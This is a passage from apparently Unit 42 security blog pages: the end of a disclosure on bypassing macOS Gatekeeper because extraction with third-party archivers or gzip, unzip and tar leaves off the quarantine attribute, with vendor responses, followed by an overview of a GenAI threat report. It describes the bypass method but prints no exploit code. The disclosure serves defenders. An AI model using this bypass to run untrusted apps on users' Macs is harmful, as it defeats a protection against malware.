In addition, files unarchived by Unix-based command-line unarchiving tools such as Unzip and tar won’t inherit the quarantine extended attribute, as shown in Figure 5.

Screenshot of a computer terminal displaying commands related to xattr and gzip operations, focused on handling a file named 'bypass.app.gz' and interacting with macOS extended attributes.
Figure 5. A Gatekeeper bypass example using the built-in gzip utility.

Vendors' Responses and Remediation

We have tried to reach the developers for all the mentioned products, and these are the responses we received:

  • BetterZip: “BetterZip has been quarantining extracted apps and executables since version 5. Quarantining for nested archives will be included in an update later this week.”
  • Archiver: “Thank you for letting us know. Please be advised that we are releasing a series of updates that are addressing these issues.”
  • iZip: “v4.6 will be out very soon which sets xattrs of extracted apps to that of the original archive. It's worth noting that iZip never automatically extracts or opens anything without user interaction, but your point is valid so we've implemented the change.”
  • VMWare: “Given the security target of preventing the execution of untrusted binaries on a machine using Gatekeeper technology has reliance on the quarantine flag which limits the capabilities of an integrity protection mechanism. For users in high security environments macOS can be configured to only allow execution of software from the App Store."

Conclusion

Gatekeeper is an important security mechanism that draws the attention of both security researchers and attackers. This mechanism makes it more difficult for attackers to execute malicious content from risky applications. However, Gatekeeper’s design relies heavily on the implementation of third-party developers to comply with its security standards.

In addition, Apple does not enforce the quarantine extended attribute on its own native command-line tools. The mechanism’s failure in scanning files in such cases creates weaknesses, which might pose a risk for users. Organizations should take extra caution while using these tools.

As described, the Gatekeeper mechanism faces many potential bypass possibilities. One of the best protections for an organization against a potential attack using a Gatekeeper bypass is to use a multi-layer protection approach.

  • Cortex XDR and XSIAM are designed to prevent the execution of known malware, and also prevent the execution of unknown malware using Behavioral Threat Protection and machine learning based on the Local Analysis module.

Additional Resources

Unit 42 Looks Toward the Threat Frontier: Preparing for Emerging AI Risks

Posted on by Samantha Stallings

Executive Summary

The Unit 42 Threat Frontier report is our look forward to the future. Today, we see a lot of threat actor activity. But, tomorrow… What should security leaders expect and prepare for?

Our first Threat Frontier topic is generative AI (GenAI). In this report, we share our observations and recommendations around a technology that’s seized the limelight. We discuss whether attackers are using GenAI, how defenders should use it, a few encounters of our own, and some foundational educational material, from a threat-informed perspective.

Key Findings on GenAI in Security

Let’s take the good news first. Conventional cybersecurity tactics are still relevant when defending against AI-enabled attackers. You can use Zero Trust network architecture, comprehensive policy and technical controls, and existing security tools to begin countering GenAI threats today.

That said, it’s hard to say exactly how much attackers are using AI at this time. We have seen evidence of a threat group using AI-enabled tools in attacks. And we have seen attacks that occur at a scale that suggest the presence of AI. But individual attacks don’t come with a “Powered by AI” label.

We do know that attackers have historically innovated with whatever tools are available, and we see signs that they’re interested in learning the potential of AI. However, at this time, AI-powered changes in attacks seem to be evolutionary, not revolutionary. This means attackers are enhancing techniques they already knew to use, rather than using AI to create attacks that have never been seen before.

We’ve seen a rapid rise in “Shadow AI,” just like the rise of Shadow IT in the past. Most organizations we’ve worked with use AI tools, whether or not they have controls in place.

Savvy defenders are beginning to implement AI-specific defenses against the unique aspects of GenAI. And they’re doing this work early in the software development lifecycle. Security that’s bolted on just before launch isn’t as effective as thoughtful design decisions early in the process.

Defending in the AI Era

In our security advisory and incident response work, we have seen a few trends among defenders.

Three Critical Capabilities

Organizations need three critical capabilities to enable safer GenAI adoption:

  • Identifying when, where and who is using AI applications
    Real-time visibility lets you keep up with rapid adoption, especially in areas that lack strong governance controls.
  • Detecting when sensitive data is used
     Knowing when confidential information, secrets and intellectual property are being used, shared and transmitted means you can make informed risk decisions about them.
  • Creating and managing granular access control
    Including user identity, data provenance and policy compliance in access control decisions helps limit the affected area of potential incidents.

Real Examples

Because it’s difficult to know if and how attackers are using GenAI – unless you are one of the attackers – we describe how Unit 42 red teams are using AI in our proactive security engagements. We are simulating the tactics we believe attackers are, or will be, using at several stages of the attack lifecycle.

And in one fun proof of concept… we deep faked our boss.

GenAI is also helping improve Palo Alto Networks products. For example, we used GenAI to boost our ability to detect malicious JavaScript, in the same ways that attackers are evolving.

Learning and Development

Learning isn’t just for machines. There are many new terms and concepts in GenAI, so in this report we explain some of the current techniques to exploit large language models (LLMs).

This Threat Frontier topic draws on Unit 42’s security consulting and incident response experience as well as from across the Palo Alto Networks organization, from cloud-delivered security services through AI-specific teams.

Conclusion

GenAI has attracted immense attention and adoption in very little time. While there is some evidence that attackers are already using it, defenders can, too. Our first Unit 42 Threat Frontier topic addresses this important new capability. Thus we extend our current understanding to the likely future and recommend ways that defenders can keep up with, or perhaps even outpace, attackers using AI.

How Palo Alto Networks and Unit 42 Can Help

Palo Alto Networks customers are better protected from the threats discussed in this article through our solutions powered by Precision AI: AI Runtime Security™ for AI-specific attacks, AI Access Security™ to protect sensitive data and Prisma Cloud AI Security Posture Management to gain visibility and control over the AI supply chain, as well as Advanced DNS Security and Advanced URL Filtering.

You can take preventative steps by requesting any of our cyber risk management services. The AI Security Assessment is aimed squarely at the issues we discuss in this report.

If you think you may have been impacted by a cyber incident or would like to explore how you could better protect your organization, please contact Unit 42 to connect with a team member. The Unit 42 Incident Response team is available 24/7/365. If you have cyber insurance, you can request Unit 42 by name.

Our world-renowned incident response team and security consulting experts will guide you with an intelligence-driven approach before, during, and after an incident. By partnering with us, you'll gain strategic guidance for bolstering your defenses and safeguarding your organization.

Additional Resources

Updated Oct. 16, 2024, at 7:09 a.m. PT to update protections information. 

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